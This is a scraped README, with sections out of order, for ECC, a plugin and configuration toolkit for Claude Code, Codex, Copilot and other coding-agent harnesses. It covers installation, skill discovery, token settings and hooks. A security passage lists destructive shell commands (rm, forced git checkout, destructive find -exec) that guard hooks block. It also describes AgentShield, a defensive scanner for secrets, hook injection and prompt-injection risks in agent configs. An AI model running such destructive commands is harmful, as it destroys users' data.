\ngit clone --depth 1 https://github.com/affaan-m/ECC.git && cd ECC\nnpx -y @github/copilot@1.0.82 skill list --json | jq '[.[] | select(.source==\"project\")] | length'\n# Count the current inventory rather than assuming a fixed total.\nThat checkout's 39 + 3 split was reported by 1.0.82 from npm and by 1.0.83 installed locally, so the behaviour is not specific to one build or install method.
\nTo expose the full catalog, place skills/ where Copilot CLI looks:
mkdir -p .github/skills\ncp -r skills/. .github/skills/\ncopilot skill list --json > copilot-skills.json\njq '[.[] | select(.path | contains(\".github/skills\"))] | length' copilot-skills.json\n# Compare with the current canonical skill catalog.\nFilter on the path rather than on source: the CLI can also discover skills from other project locations and de-duplicates entries with the same skill name. Counts depend on the checkout and CLI version. The file redirection also avoids truncated large JSON output observed with Copilot CLI 1.0.82 on macOS.
Copilot registers a skill under the name in its SKILL.md frontmatter, not its directory name, so catalog folders whose names differ from their frontmatter (for example scientific-db-pubmed-database, which declares name: pubmed-database) still load \u2014 they are just listed under the frontmatter name.
Agents work the same way:
\n./install.sh --profile full --target copilot\ncopilot --agent architect -p \"Review this module's boundaries\"\nThe contributor verified native discovery with Copilot CLI 1.0.83. Manually copied agent files that declare a Claude model name (model: opus, model: sonnet) emit a warning and fall back to the session's default model, so remove or remap model: if you want to pin one.
copilot targetThe steps above copy files by hand. The copilot install target does the same placement and additionally rewrites agent frontmatter so no warning is emitted:
./install.sh --profile full --target copilot\n# Windows: ./install.ps1 --profile full --target copilot\nThat writes skills to .github/skills/, agents to .github/agents/, and an install-state file to .github/ecc-install-state.json. Nothing is written outside .github/.
The full profile selects the modules declared for Copilot. It can place fewer skills than a manual copy of the entire canonical catalog because modules that require another host's runtime are excluded. List the resulting native inventory to see what this checkout installs; a count is not a capability grant.
Claude-only agent frontmatter (model, tools, color) is dropped during the copy: Copilot resolves the model from your own configuration, and it governs tool access per session through --allow-tool/--deny-tool rather than through agent frontmatter. ECC's rules, commands, and hooks are not installed by this target.
| ECC Feature | \nCopilot equivalent | \n
|---|---|
| Coding standards | \nAlways-on via copilot-instructions.md | \n
| Security checklist | \nAlways-on + security-review prompt | \n
| Testing / TDD | \nAlways-on + tdd prompt | \n
| Implementation planning | \nplan prompt | \n
| Code review | \nExternal PR review via CodeRabbit + Greptile | \n
| Build error resolution | \nbuild-fix prompt | \n
| Refactoring | \nrefactor prompt | \n
| Commit message format | \nPer-task instruction in settings.json | \n
| Skills | \nNative discovery in Copilot CLI (.github/skills/, .agents/skills/) | \n
| Agents / delegation | \nCopilot CLI custom agents (.github/agents/, --agent) | \n
| Hooks / automation | \nECC's hooks are not ported (Copilot CLI has its own plugin hook system) | \n
ECC's hook automations (auto-format, TypeScript check, session persistence, dev-server guard) are written against Claude Code's hook event model and are not ported to Copilot. Copilot CLI does expose a hook system through its plugin format, but ECC does not currently ship a Copilot plugin, so none of ECC's hooks run there.
\nECC also does not install rules, commands, or hooks for Copilot. The copilot target installs skills and agents only. Skills that shell out to bundled scripts assume the same interpreters as on Claude Code. Copilot Chat in VS Code does not read .github/skills/ or .github/agents/; those paths are Copilot CLI surfaces. The instruction and prompt layer is what carries ECC's coding philosophy into Copilot Chat sessions.
ECC v2.0.0 stabilizes the 2.0 line with the public Hermes operator story, 281 skills, 67 agents, 94 command shims, session adapters, MCP inventory, worktree lifecycle services, orchestrator workflows, and the ECC Discord community.
\n \nAgent usage can be expensive if you don't manage token consumption. These settings significantly reduce costs without sacrificing quality. Full guide: docs/token-optimization.md.
\nAdd to ~/.claude/settings.json:
{\n \"model\": \"sonnet\",\n \"env\": {\n \"CLAUDE_CODE_EFFORT_LEVEL\": \"medium\",\n \"CLAUDE_AUTOCOMPACT_PCT_OVERRIDE\": \"50\",\n \"CLAUDE_CODE_SUBAGENT_MODEL\": \"haiku\"\n }\n}\nThe effort setting requires a model that supports effort controls. On Amazon Bedrock, Google Cloud's Agent Platform, and Microsoft Foundry, the sonnet alias currently resolves to Sonnet 4.5, which does not support effort controls. Select an effort-capable model available from your provider, or omit CLAUDE_CODE_EFFORT_LEVEL.
| Setting | \nDefault | \nRecommended | \nImpact | \n
|---|---|---|---|
model | \n opus | \nsonnet | \n~60% cost reduction; handles 80%+ of coding tasks | \n
CLAUDE_CODE_EFFORT_LEVEL | \n Model-dependent | \nmedium, if supported | \nControls adaptive reasoning depth on models that support effort controls; lower effort trades reasoning depth for latency and cost | \n
CLAUDE_AUTOCOMPACT_PCT_OVERRIDE | \n 95 | \n50 | \nCompacts earlier, better quality in long sessions | \n
ECC_CONTEXT_MONITOR_COST_WARNINGS | \n on | \noff for subscription users | \nSuppresses agent-facing API-rate estimate warnings while keeping context/scope/loop warnings | \n
For fixed-budget models, MAX_THINKING_TOKENS controls the thinking budget. On Opus 4.6 or Sonnet 4.6, also set CLAUDE_CODE_DISABLE_ADAPTIVE_THINKING=1 to use that mode. A positive token value does not cap adaptive reasoning; see the performance rule.
Switch to Opus only when you need deep architectural reasoning:
\n/model opus\n| Command | \nWhen to Use | \n
|---|---|
/model sonnet | \n Default for most tasks | \n
/model opus | \n Complex architecture, debugging, deep reasoning | \n
/clear | \n Between unrelated tasks (free, instant reset) | \n
/compact | \n At logical task breakpoints (research done, milestone complete) | \n
/cost | \n Monitor token spending during session | \n
If you use a subscription and the context monitor's API-rate estimates are not useful, set ECC_CONTEXT_MONITOR_COST_WARNINGS=off. This only suppresses the agent-facing cost warnings; it does not disable context exhaustion, scope, or loop warnings.
The strategic-compact skill suggests /compact at logical breakpoints instead of relying on auto-compaction at 95% context. See skills/strategic-compact/SKILL.md for the full decision guide.
When to compact:
\nWhen NOT to compact:
\nCritical: Don't enable all MCPs at once. Each MCP tool description consumes tokens from your 200k window, potentially reducing it to ~70k.
\n/mcp to disable unused Claude Code MCP servers; those runtime choices persist in ~/.claude.jsonECC_DISABLED_MCPS only to filter ECC-generated MCP configs during install/sync flows/context-budget and remove rules you do not needAgent teams cost warning: Agent Teams spawns multiple context windows. Each teammate consumes tokens independently. Only use for tasks where parallelism provides clear value (multi-module work, parallel reviews). For simple sequential tasks, subagents are more token-efficient.
\nMinimum version: v2.1.0 or later. The plugin requires Claude Code CLI v2.1.0+ due to changes in how the plugin system handles hooks.
\nCheck your version:
\nclaude --version\n\n\nWARNING: For Contributors: Do NOT add a
\n\"hooks\"field to.claude-plugin/plugin.json. This is enforced by a regression test.
Claude Code v2.1+ automatically loads hooks/hooks.json from any installed plugin by convention. Explicitly declaring it in plugin.json causes a duplicate detection error:
Duplicate hooks file detected: ./hooks/hooks.json resolves to already-loaded file\nHistory: This has caused repeated fix/revert cycles in this repo (#29, #52, #103). The behavior changed between Claude Code versions, leading to confusion. There is now a regression test to prevent this from being reintroduced.
\nInstall ECC only from official sources:
\necc@eccecc-universal and ecc-agentshieldScan a project with an already installed, reviewed AgentShield binary (see runner provenance):
\nagentshield scan --path .\nrm, force/path git checkout, and destructive find -exec) before they run; the supply-chain IOC scanner runs in CI; and AgentShield audits your own agent, hook, MCP, permission, and secret surfaces (/security-scan).Hooks can run shell commands, MCP servers can hold credentials, and project instructions can enter an agent's context. Treat all three as executable configuration.
\nDo not copy raw hooks/hooks.json into ~/.claude/settings.json after a plugin install. Modern Claude Code versions load plugin hooks automatically, and a second copy can make them fire twice.
Use /mcp for Claude Code runtime disables; Claude Code persists those choices in ~/.claude.json.
ECC_DISABLED_MCPS is an ECC install/sync filter, not a live Claude Code toggle.
If context is getting heavy, run /context-budget, remove rules you do not need, and disable unused MCP servers. See the token optimization guide.
Security references:
\n \nTwo ways to generate skills from your repository:
\nUse the /skill-create command for local analysis without external services:
/skill-create # Analyze current repo\n/skill-create --instincts # Also generate instincts for continuous-learning-v2\nThis analyzes your git history locally and generates SKILL.md files.
\nFor advanced features (10k+ commits, auto-PRs, team sharing):
\nInstall ECC Tools GitHub App | ecc.tools
\n# Comment on any issue:\n/ecc-tools analyze\nBoth options create:
\n\n\nBuilt at the Claude Code Hackathon (Cerebral Valley x Anthropic, Feb 2026). 1282 tests, 98% coverage, 102 static analysis rules.
\n
Scan your agent configuration for vulnerabilities, misconfigurations, and injection risks.
\n Runner provenance: these commands require an already installed, reviewed AgentShield binary from ecc-agentshield. The official package documents the agentshield CLI. Record the selected release, reviewed source and verified package integrity in your installation record. Registry publication alone does not establish an audit; ECC does not supply an audited AgentShield pin here. Do not substitute an unversioned one-shot download. /security-scan is workflow guidance and has the same runner prerequisite.
# Scan only the intended project directory\nagentshield scan --path .\n\n# Auto-fix safe issues\nagentshield scan --path . --fix\n\n# Deep analysis with three Opus 4.6 agents\nagentshield scan --path . --opus --stream\n\n# Generate secure config from scratch\nagentshield init\nWhat it scans: CLAUDE.md, settings.json, MCP configs, hooks, agent definitions, and skills across 5 categories: secrets detection (14 patterns), permission auditing, hook injection analysis, MCP server risk profiling, and agent config review.
\nThe --opus flag runs three Claude Opus 4.6 agents in a red-team/blue-team/auditor pipeline. The attacker finds exploit chains, the defender evaluates protections, and the auditor synthesizes both into a prioritized risk assessment. Adversarial reasoning, not just pattern matching.
Output formats: Terminal (color-graded A-F), JSON (CI pipelines), Markdown, HTML. Exit code 2 on critical findings for build gates.
\nUse /security-scan in Claude Code to run it, or add to CI with the GitHub Action.
The instinct-based learning system automatically learns your patterns:
\n/instinct-status # Show learned instincts with confidence\n/instinct-import <file> # Import instincts from others\n/instinct-export # Export your instincts for sharing\n/evolve # Cluster related instincts into skills\nSee skills/continuous-learning-v2/ for full documentation. Keep continuous-learning/ only when you explicitly want the legacy v1 Stop-hook learned-skill flow.
The usual cause is installing the Claude plugin and then running ./install.sh --profile full on top of it.
node scripts/ecc.js uninstall --dry-run from the ECC checkout.For hook-specific checks, see the hooks README.
\nDo NOT add a \"hooks\" field to .claude-plugin/plugin.json. Claude Code v2.1+ automatically loads hooks/hooks.json from installed plugins. Explicitly declaring it causes duplicate detection errors. See #29, #52, #103.
Run the cache check from an ECC checkout:
\nnode scripts/codex/check-plugin-cache.js\nIf it reports unresolved parent references, refresh the native cache with codex plugin marketplace upgrade ecc, run codex plugin add ecc@ecc again, and restart Codex. Registration in codex plugin list confirms the marketplace entry, while the cache check verifies that the installed manifest can resolve its skills, MCP configuration, and assets. Use bash scripts/sync-ecc-to-codex.sh only when you intentionally need the legacy copied-configuration compatibility path.
More answers: TROUBLESHOOTING.md covers memory, hooks, installation, performance, and common error messages. docs/TROUBLESHOOTING.md tracks workarounds for open Claude Code bugs.
\nThe plugin includes a comprehensive test suite:
\n# Run all tests\nnode tests/run-all.js\n\n# Run individual test files\nnode tests/lib/utils.test.js\nnode tests/lib/package-manager.test.js\nnode tests/hooks/hooks.test.js\nI've been using Claude Code since the experimental rollout. Won the Anthropic x Forum Ventures hackathon in Sep 2025 with @DRodriguezFX, built zenith.chat entirely with agentic workflows.
\nThese configs are battle-tested across multiple production applications.
\nECC stays free because sponsors and Pro users fund the work. Sponsor logos are at the top of this README; the full roster and tiers are in SPONSORS.md.
\nECC Pro adds private-repo analysis, PR-triggered audits, AgentShield-backed scanning, automatic push and PR checks, pooled team usage, and priority support through the hosted GitHub App.
\n| ECC Pro Hosted GitHub App for private repos | \n Sponsor ECC Fund the OSS work | \n Community Q&A, ideas, and Show and Tell | \n GitHub App PR audits and hosted workflows | \n
Contributions are welcome across skills, agents, rules, hooks, docs, tests, adapters, and security improvements.
\nThe short version:
\nskills/your-skill-name/SKILL.md (with YAML frontmatter)agents/your-agent.mdIdeas for contributions:
\nMIT. Use it freely, adapt it to your workflow, and contribute back when you can.
\nStar this repo if it helps. Read the guides. Build something great.
", "summary": "The agent harness performance optimization system. Skills, instincts, memory, security, and research-first development for Claude Code, Codex, Opencode, Cursor and beyond.
Language: English | \u0627\u0644\u0639\u0631\u0628\u064a\u0629 | Portugu\u00eas (Brasil) | \u7b80\u4f53\u4e2d\u6587 | \u7e41\u9ad4\u4e2d\u6587 | \u65e5\u672c\u8a9e | \ud55c\uad6d\uc5b4 | T\u00fcrk\u00e7e | \u0420\u0443\u0441\u0441\u043a\u0438\u0439 | Ti\u1ebfng Vi\u1ec7t | \u0e44\u0e17\u0e22 | Deutsch | Espa\u00f1ol | \u0423\u043a\u0440\u0430\u0457\u043d\u0441\u044c\u043a\u0430 | Polski | \u09ac\u09be\u0982\u09b2\u09be
\n
\n Warning
\nOfficial sources only. Install ECC only from verified channels: the GitHub repository github.com/affaan-m/ECC, the npm packages ecc-universal and ecc-agentshield, the GitHub App, the plugin slug ecc@ecc, and the project website ecc.tools. Third-party re-uploads and unofficial mirrors are not maintained or reviewed by the project and may contain malware.
Use the guided setup or native plugin commands. Both install the same ecc@ecc plugin. Choose one and do not stack a full manual Claude install on top.
| ECC Pro + GitHub App Install free \u00b7 Private repos from $19/seat/mo | \n Sponsor ECC Fund the open-source project | \n Community Discord \u00b7 Q&A \u00b7 Show and Tell | \n
OSS stays free. This repo is MIT-licensed forever. ECC Pro is the hosted GitHub App for private repos. Sponsors and Pro subscribers fund the work. That's why a single maintainer ships weekly across 7 harnesses.
\nPartners & sponsors
\n \n \n \n \n \n \n \n \n \n
Past sponsors: Atlas Cloud \u00b7 Mike Morgan (inactive)
\nCommunity sponsors: @jasonwu513 \u00b7 @1anter \u00b7 @massimotodaro \u00b7 @meadmccabe
\nBecome a Sponsor \u00b7 Sponsor Tiers \u00b7 Sponsorship Program
\nYour agent can write code, but ECC gives it a coordinated engineering system and toolbox: it plans before it builds, verifies changes with tests, reviews its own work from a fresh context, remembers what matters, and turns repeated wins into reusable skills and workflows.
\nplan -> test -> implement -> review -> verify -> remember -> improve\nInstead of rebuilding that process in every prompt, you install it once and make it part of how your agent works.
\n\n\nOptimize the context window. Persist everything else.
\n
ECC is MIT-licensed open source. It works best with Claude Code today, has native Codex and Qoder plugin paths, and provides capability-limited adapters for Cursor, OpenCode, Gemini, Zed, GitHub Copilot, Antigravity, Qwen, and other harnesses. See the support status matrix before assuming feature parity.
\nAccess to 71 agents, 311 skills, and 97 legacy command shims, plus hooks, rules, memory, continuous learning, and AgentShield security scanning. The agents are specialized for planning, review, build repair, security, architecture, and domain work.
\n| Included | \nCount | \nWhat it gives you | \n
|---|---|---|
| Agents | \n71 agents | \nPlanning, review, build repair, security, architecture, and domain work | \n
| Skills | \n311 skills | \nTDD, research, security, docs, frontend, data, ML, operations, and more | \n
| Commands | \n97 commands | \nConvenient entry points while ECC moves to a skills-first surface | \n
| Hooks and memory | \nRuntime | \nEnforcement, session summaries, continuous learning, instincts, and context controls | \n
| Rules | \nSelective | \nAlways-loaded standards you choose by language or project | \n
| AgentShield | \nIncluded | \nScanning for prompts, hooks, MCP config, permissions, secrets, and agent files | \n
\n Important
\nECC 2.2 includes guided package setup for Claude Code, Codex, and Kimi Code. The universal package requires Node.js 18 or newer. Claude plugin setup also requires Git and Claude Code 2.1 or newer on PATH.
For Claude Code plugin setup, updates, scope changes, and hook-profile changes:
\nnpx ecc-universal@2.2.3 setup\nIf you are new to command-line tools, use this copy-and-paste path:
\nInstall Node.js 18 or newer, Git, and Claude Code.
Open PowerShell from the Windows Start menu.
Confirm that each prerequisite is available:
node --version\ngit --version\nclaude --version\nRun the guided installer:
npx ecc-universal@2.2.3 setup\nFor a typical personal setup, choose Global user, choose Standard hooks, and confirm.
Start a new Claude Code session and run /plugin list to verify that ecc@ecc is enabled.
This path does not require cloning the repository. If any prerequisite command is not found, install or repair that prerequisite before rerunning ECC setup.
\nIf npm reports a version or cache error, confirm the registry version before retrying:
\nnpm view ecc-universal version\nECC 2.2 supports the same guided setup through modern package runners:
\n| Package runner | \nGuided setup command | \n
|---|---|
| npm / npx | \nnpx ecc-universal@2.2.3 setup | \n
| pnpm | \npnpm dlx ecc-universal@2.2.3 setup | \n
| Yarn 2+ | \nyarn dlx ecc-universal@2.2.3 setup | \n
| Bun | \nbunx ecc-universal@2.2.3 setup | \n
The examples select the published ECC 2.2.3 release, matching this repository's release version. A version pin is not a security audit or an integrity check. Review the release source and registry integrity before running package code; use a reviewed checkout for unreleased changes.
\nYarn Classic 1 does not provide yarn dlx; use npx, install the package globally, or upgrade Yarn for a temporary one-shot run.
The wizard inventories the official marketplace and every native Claude install scope before making changes, then installs, updates, or safely moves ecc@ecc to the scope you choose. Rerun the same command whenever you want to update ECC, change scope, or change its hook profile. This setup wizard currently configures the Claude Code plugin; use the multi-harness wizard below for Codex or Kimi Code.
To configure more than one coding agent in one reviewed flow, use the multi-harness wizard:
\nnpx ecc-universal@2.2.3 install --guided\nIt lets you select any combination of Claude Code, Codex, and Kimi Code, shows each install channel and destination, preflights every selection before the first write, and asks for one final confirmation.
\n| Harness | \nGuided install behavior | \n
|---|---|
| Claude Code | \nNative ecc@ecc plugin with one user, project, or local scope and an ECC hook profile | \n
| Codex | \nNative Codex marketplace/plugin lifecycle; hook review and trust remain Codex-owned | \n
| Kimi Code | \nManaged project files under ./.kimi-code; ECC hooks, model/provider settings, and authentication are not configured | \n
For automation, make every provider-specific choice explicit:
\nnpx ecc-universal@2.2.3 install --guided \\\n --harness claude --harness codex --harness kimi \\\n --claude-scope local --claude-hooks standard \\\n --profile core --yes\nVerify the native guided Codex path and managed Kimi path without writing first:
\nnpx ecc-universal@2.2.3 install --guided --harness codex --dry-run\nnpx ecc-universal@2.2.3 install --profile core --target kimi --dry-run\nAdditional package-name commands are also available through the 2.2 alias:
\nnpx ecc-universal@2.2.3 consult \"security reviews\" --target claude\nnpx ecc-universal@2.2.3 install --profile minimal --target claude --with capability:machine-learning\nnpx ecc-universal@2.2.3 doctor --target kimi\nDo not use npx ecc-install --profile minimal --target claude: ecc-install is a binary name inside ecc-universal, not a separately published npm package.
ECC also ships advanced managed adapters for cursor, antigravity, gemini, opencode, codebuddy, joycode, qwen, zed, hermes, and openclaw. Those targets still use their documented ecc install --target ... paths until each adapter has passed the guided collision, update, repair, and uninstall lifecycle matrix. Neither wizard silently installs into every detected harness.
You can use ECC with Claude Code, Codex, and other harnesses at the same time. Choose one install method for each harness:
\nDo not stack install methods. Installing ECC twice into the same harness can duplicate skills, commands, hooks, or configuration; installing it once into multiple harnesses does not.
\nIf you already layered multiple installs and things look duplicated, skip straight to Reset / Uninstall ECC.
\nInstall trouble? Open the short install or runtime problem form, or run ecc feedback. ECC never uploads diagnostics automatically.
Alternatively, run Claude Code's native plugin commands inside Claude Code:
\n/plugin marketplace add https://github.com/affaan-m/ECC\n/plugin install ecc@ecc\nThe native path installs ECC's skills, agents, commands, and plugin-managed hooks. If you choose it, stop there. Do not also run a full manual install into Claude Code.
\nClaude Code owns these built-in commands, including their errors when a marketplace, plugin, or conflicting scope already exists. ECC cannot intercept that parser. If either native command reports an existing install or scope conflict, use the 2.2 guided setup or resolve the conflicting Claude plugin scope before retrying; do not layer a manual install on top.
\nAfter ECC is installed, /ecc:configure-ecc is the namespaced in-Claude reconfiguration skill. It delegates to the same safe setup flow, but it is available only after the plugin is installed and cannot replace Claude Code's built-in /plugin command during a first install.
Claude Code plugins cannot distribute rules, so add only the rule packs you actually want:
git clone https://github.com/affaan-m/ECC.git\ncd ECC\nmkdir -p ~/.claude/rules/ecc\ncp -R rules/common ~/.claude/rules/ecc/\ncp -R rules/typescript ~/.claude/rules/ecc/ # replace with your stack\nStart with rules/common plus one language or framework pack you actually use. If you install the plugin, do not run ./install.sh --profile full afterward.
Add directly to your ~/.claude/settings.json:
{\n \"extraKnownMarketplaces\": {\n \"ecc\": {\n \"source\": {\n \"source\": \"github\",\n \"repo\": \"affaan-m/ECC\"\n }\n }\n },\n \"enabledPlugins\": {\n \"ecc@ecc\": true\n }\n}\nThis gives you the same result as the two /plugin commands above.
ECC has three public identifiers, and they are not interchangeable:
\naffaan-m/ECCecc@eccecc-universalThis is intentional. Anthropic marketplace/plugin installs are keyed by a canonical plugin identifier, so ECC uses ecc@ecc to keep tool names and slash-command namespaces short enough for strict Desktop/API validators. Older posts may still show the former long marketplace identifier; treat that as a legacy alias only. Separately, the npm package stayed on ecc-universal, so npm installs and marketplace installs intentionally use different names.
npm releases are cut per version tag, not per commit, so ecc-universal tracks releases (2.1, 2.2, ...) rather than every push to main. Install from git if you want the bleeding edge.
If your local Claude setup was wiped or reset, that does not mean you need to repurchase anything. Start with node scripts/ecc.js list-installed, then run node scripts/ecc.js doctor and node scripts/ecc.js repair before reinstalling. That usually restores ECC-managed files without rebuilding your setup.
Current Codex releases can install ECC as a native repo-marketplace plugin. The marketplace entry uses the repository root so Codex's cache receives the manifest together with all referenced skills, MCP configuration, hook runtime, scripts, and assets:
\ncodex plugin marketplace add affaan-m/ECC\ncodex plugin add ecc@ecc\ncodex plugin list --json\nnode scripts/codex/check-plugin-cache.js\nBoth add commands are idempotent. To refresh later, run codex plugin marketplace upgrade ecc followed by codex plugin add ecc@ecc. Codex stores one enabled plugin state in the active CODEX_HOME; it does not offer Claude's user, project, and local scopes. Its native hooks require an explicit trust decision and do not use Claude's four ECC hook profiles. Inside Codex, invoke $configure-ecc for the guided provider-aware flow.
The older scripts/sync-ecc-to-codex.sh path is a deprecated compatibility option for users who intentionally need copied and merged configuration in ~/.codex; it is not required for the native plugin. New sync runs write an ownership manifest so cleanup can preserve modified user files. Run Codex once first so ~/.codex/config.toml exists, then:
git clone https://github.com/affaan-m/ECC.git\ncd ECC\nnpm install\nbash scripts/sync-ecc-to-codex.sh\nTo inspect or remove that legacy layer without touching Codex conversations or native plugin caches:
\nnode scripts/ecc.js uninstall --legacy-codex-sync --dry-run\nnode scripts/ecc.js uninstall --legacy-codex-sync\nPre-manifest installations are handled conservatively: ECC removes its marked AGENTS.md block but preserves copied files it cannot prove it owns and reports them for review.
You can also open the ECC repository directly in Codex for a project-local setup. Codex reads the root AGENTS.md and the trusted project configuration in .codex/ without a global sync. Do not add the native marketplace plugin on top of the sync flow.
For repo navigation, surface ownership, and PR diff packet guidance, read the Codex ECC Navigation Map. See the .codex plugin notes for native lifecycle details.
\nECC ships a native Qoder plugin that reuses the canonical skills, agents, 95 legacy command shims, and the pinned chrome-devtools MCP definition. From a reviewed checkout, validate and install it with Qoder CLI:
qoder plugins validate . --strict\nqoder plugins install .\nqoder plugins list\nFor Qoder IDE, upload a ZIP of the repository root. The ZIP root must contain .qoder-plugin/ together with skills/, agents/, commands/, hooks/, scripts/, and .mcp.json; uploading only the manifest directory or one SKILL.md omits required resources.
The universal Node.js 18+ requirement applies to Qoder's non-interactive hook environment. The MCP server also requires npx and network access on first use. Qoder receives one reviewed, cross-platform SessionStart bootstrap using QODER_PLUGIN_ROOT and exec-form arguments. ECC does not copy the full Claude hook profile into Qoder: blocking tool hooks, async stop jobs, and Claude-specific matchers remain outside this initial native integration. See the .qoder-plugin notes for the exact boundary.
Clone ECC once, then choose the target that matches your harness:
\ngit clone https://github.com/affaan-m/ECC.git\ncd ECC\n| Harness | \nInstall or setup | \nNotes | \n
|---|---|---|
| Cursor | \n./install.sh --profile minimal --target cursor | \n Project-local .cursor/ adapter | \n
| OpenCode | \nnpm install && npm run build:opencode && ./install.sh --profile full --target opencode --enable-hooks | \n Builds the plugin payload before the full install | \n
| Gemini CLI | \n./install.sh --profile minimal --target gemini | \n Project-local .gemini/ config | \n
| Zed | \n./install.sh --profile minimal --target zed | \n Project-local .zed/ adapter | \n
| Antigravity | \n./install.sh --profile minimal --target antigravity | \n See the Antigravity guide | \n
| Qwen CLI | \n./install.sh --profile minimal --target qwen | \n See the Qwen guide | \n
| Hermes | \n./install.sh --profile minimal --target hermes | \n See the Hermes setup guide | \n
| OpenClaw | \n./install.sh --profile minimal --target openclaw | \n Managed home-directory install | \n
| Kimi Code CLI | \n./install.sh --profile minimal --target kimi | \n Project-local .kimi-code/ install \u00b7 Get Kimi Code | \n
| CodeBuddy | \n./install.sh --profile minimal --target codebuddy | \n Project-local .codebuddy/ install | \n
| JoyCode | \n./install.sh --profile minimal --target joycode | \n Project-local .joycode/ install | \n
| GitHub Copilot | \n./install.sh --profile full --target copilot | \n Installs skills to .github/skills/ and agents to .github/agents/ for Copilot CLI | \n
GitHub Copilot support is already included in this repository. .github/copilot-instructions.md provides the instruction layer, .github/prompts/ contains the reusable /plan, /tdd, /security-review, /build-fix, and /refactor prompts, and .vscode/settings.json enables chat.promptFiles. GitHub Copilot CLI additionally discovers the .agents/skills/ subset from a plain clone with no setup; see Platform Support for the full catalog and agents.
For a harness without a native ECC target, use the manual adaptation guide. It explains how to carry a small set of ECC skills and workflow instructions into chat-style tools without pretending hooks or native skill discovery are available.
\nCursor installs agent definitions under .cursor/agents/ecc-*.md. Cursor-native loading behavior can vary by Cursor build. ECC does not install root AGENTS.md into .cursor/. The adapter keeps Cursor's context scoped to its native rules and agent surfaces.
Deep per-harness notes (feature parity, hook adapters, limitations) live in Platform Support below.
\nUse this when you want ECC's rules, agents, commands, platform config, and core workflows without runtime hooks:
\nnpx ecc-universal@2.2.3 install --profile minimal --target claude\nFrom a source checkout, the equivalent command is:
\n./install.sh --profile minimal --target claude\nWindows:
\n.\\install.ps1 --profile minimal --target claude\nThis profile intentionally excludes hooks-runtime.
Claude manual installs place each skill directly under ~/.claude/skills/<skill-name>/ (or .claude/skills/<skill-name>/ for claude-project) so Claude Code can discover it. When upgrading an older ECC manual install, the installer migrates only nested skills/ecc/ files recorded in ECC install-state. If a flat skill directory is user-owned, ECC preserves it, prints a conflict warning, and keeps any older managed copy tracked for a safe uninstall instead of overwriting user files.
For the normal core profile with hooks disabled:
\n./install.sh --profile core --without baseline:hooks --target claude\n./install.sh --profile core --no-hooks --target claude\nAdd the hook runtime later only if you want it:
\n./install.sh --target claude --modules hooks-runtime --enable-hooks\nAny install whose profile or modules would materialize the hook runtime requires an explicit decision. Without --enable-hooks or --no-hooks, the installer prints what the hooks can do and stops before writing anything. The guided installer (ecc install --guided) asks for this choice interactively.
Ask the packaged advisor which components match your work:
\nnode scripts/ecc.js consult \"security reviews\" --target claude\nIt returns matching components, related profiles, and preview/install commands. Use the preview command before installing if you want to inspect the exact file plan.
\nYou can also install explicit skills or capabilities:
\n./install.sh --target claude --skills tdd-workflow,security-review\nnode scripts/ecc.js install --profile minimal --target claude --with capability:machine-learning\nManual component-by-component copying also works. Each component is fully independent:
\n# Just agents\nmkdir -p ~/.claude/agents\ncp agents/*.md ~/.claude/agents/\n\n# Rules directories (common + language-specific)\nmkdir -p ~/.claude/rules/ecc\ncp -r rules/common ~/.claude/rules/ecc/\ncp -r rules/typescript ~/.claude/rules/ecc/ # pick your stack\n\n# Core/general skills only (Claude Code loads skills from direct children\n# of ~/.claude/skills; do not nest manual installs under ~/.claude/skills/ecc/)\nmkdir -p ~/.claude/skills\ncp -r .agents/skills/* ~/.claude/skills/\ncp -r skills/search-first ~/.claude/skills/\n\n# Optional: maintained slash-command compatibility during migration\nmkdir -p ~/.claude/commands\ncp commands/*.md ~/.claude/commands/\nRetired shims live in legacy-command-shims/. Copy individual files from there only if you still need old names such as /tdd.
Use project-local rules when ECC's standards should apply to one repository rather than every Claude Code session:
\ncd your-project\nmkdir -p .claude/rules/ecc\ncp -R /path/to/ECC/rules/common .claude/rules/ecc/\ncp -R /path/to/ECC/rules/typescript .claude/rules/ecc/\nRules are always-loaded context, so begin with common and one pack for the stack you actually use. When copying rules manually, copy the whole language directory (for example rules/common or rules/golang), not the files inside it, so relative references keep working and filenames do not collide.
Use this only when you are intentionally skipping the plugin path:
\ngit clone https://github.com/affaan-m/ECC.git\ncd ECC\n./install.sh --profile full --enable-hooks\nWindows:
\ngit clone https://github.com/affaan-m/ECC.git\ncd ECC\n.\\install.ps1 --profile full --enable-hooks\nThese examples enable the automatic hook runtime. To install without hooks, replace --enable-hooks with --no-hooks.
If you choose this path, stop there. Do not also run /plugin install.
For hand-picked manual installs, Claude discovers skills as direct children of ~/.claude/skills/; do not nest them under ~/.claude/skills/ecc/.
Do not copy the raw repo hooks/hooks.json into ~/.claude/settings.json or ~/.claude/hooks/hooks.json. That file is plugin/repo-oriented; use the installer so hook command paths are rewritten correctly:
bash ./install.sh --target claude --modules hooks-runtime --enable-hooks\nThat installs the hook scripts under ~/.claude/ and registers the resolved hook entries in ~/.claude/settings.json. Existing user settings and hooks are preserved; ECC-owned entries are tracked by stable ID for idempotent updates and safe uninstall.
If you installed ECC via /plugin install, do not copy those hooks into settings.json. Claude Code v2.1+ already auto-loads plugin hooks/hooks.json, and duplicating them in settings.json causes duplicate execution and cross-platform hook conflicts.
On Windows, Claude's config root is %USERPROFILE%\\.claude; install the hook runtime with:
pwsh -File .\\install.ps1 --target claude --modules hooks-runtime --enable-hooks\nClaude plugin installs intentionally do not auto-enable ECC's bundled MCP server definitions. This avoids overlong plugin MCP tool names on strict third-party gateways while keeping manual MCP setup available.
\nUse Claude Code's /mcp command or CLI-managed MCP setup for live Claude Code server changes; Claude Code persists those choices in ~/.claude.json. For repo-local MCP access, copy desired MCP server definitions from mcp-configs/mcp-servers.json into a project-scoped .mcp.json.
ECC ships exactly one default connector (chrome-devtools); everything else is a skill wrapping a CLI/REST API or an opt-in catalog entry. The rule and the June 2026 audit that retired the previous six defaults live in docs/MCP-CONNECTOR-POLICY.md.
If you already run your own copies of ECC-bundled MCPs, set:
\nexport ECC_DISABLED_MCPS=\"chrome-devtools\"\nECC-managed install and Codex sync flows will skip or remove those bundled servers instead of re-adding duplicates. ECC_DISABLED_MCPS is an ECC install/sync filter, not a live Claude Code toggle.
Important: Replace YOUR_*_HERE placeholders with your actual API keys.
multi-* commands are not covered by the base plugin/rules install.
To use /multi-plan, /multi-execute, /multi-backend, /multi-frontend, and /multi-workflow, you must also install the ccg-workflow runtime. Choose and review an exact release using the upstream CCG installation guide, then initialize that installed runtime. ECC does not bundle CCG or attest to a compatible, audited CCG release; this guide does not bootstrap an unspecified registry version.
That runtime provides the external dependencies these commands expect, including:
